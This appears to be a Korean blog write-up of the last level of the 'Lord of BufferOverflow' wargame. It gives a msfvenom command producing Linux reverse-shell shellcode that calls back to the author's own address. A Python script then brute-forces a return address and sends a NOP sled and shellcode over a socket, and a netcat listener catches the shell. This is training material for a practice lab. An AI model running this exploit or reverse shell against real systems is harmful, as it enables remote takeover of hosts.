리버스쉘
1. metasploit을 이용해 쉘코드 생성
나의 내부 IP인 192.168.200.150과 임의의 PORT번호인 1234로 쉘코드를 생성하는 명령어를 입력한다.
명령어 : "msfvenom -p linux/x86/shell_reverse_tcp -f python LHOST="192.168.200.150" LPORT=1234"
출력된 쉘코드는 아래와 같다.
buf = "" buf += "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66" buf += "\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0" buf += "\xa8\xc8\x96\x68\x02\x00\x04\xd2\x89\xe1\xb0\x66\x50" buf += "\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x6e\x2f\x73" buf += "\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0" buf += "\x0b\xcd\x80"
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | import socket from struct import * host = "192.168.113.128" port = 6666 p = lambda x : unpack( "<L" , x)[ 0 ] shellcode = "" shellcode + = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66" shellcode + = "\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0" shellcode + = "\xa8\xc8\x96\x68\x02\x00\x04\xd2\x89\xe1\xb0\x66\x50" shellcode + = "\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x6e\x2f\x73" shellcode + = "\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0" shellcode + = "\x0b\xcd\x80" for i in range ( 0xff , 0x00 , - 1 ): for j in range ( 0x00 , 0xff , 30 ): payload = "A" * 44 payload + = chr (j) + chr (i) + "\xff\xbf" payload + = "\x90" * 100 payload + = shellcode print str ( hex (p( chr (j) + chr (i) + "\xff\xbf" ))) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.send(payload) s.recv( 60 ) s.close() |
3. 작성한 exploit 코드를 실행한다.
4. netcat으로 포트를 열어 대기한다.
브루트 포싱이 완료되면 아래와 같이 쉘이 따진 것을 확인할 수 있다.
my-pass에서 나온 비밀번호를 가지고 death_knight에 로그인해보니 txt파일이 하나 있어서 cat으로 출력해보니
아래와 같이 마패가 나온다. LOB 클리어~
'Wargame > lord of bufferoverflow' 카테고리의 다른 글
Lord of bufferoverflow nightmare (0) | 2017.09.26 |
---|---|
Lord of bufferoverflow succubus (0) | 2017.09.20 |
Lord of bufferoverflow zombie_assassin (0) | 2017.09.07 |
Lord of bufferoverflow assassin (0) | 2017.08.26 |
Lord of bufferoverflow giant (0) | 2017.08.26 |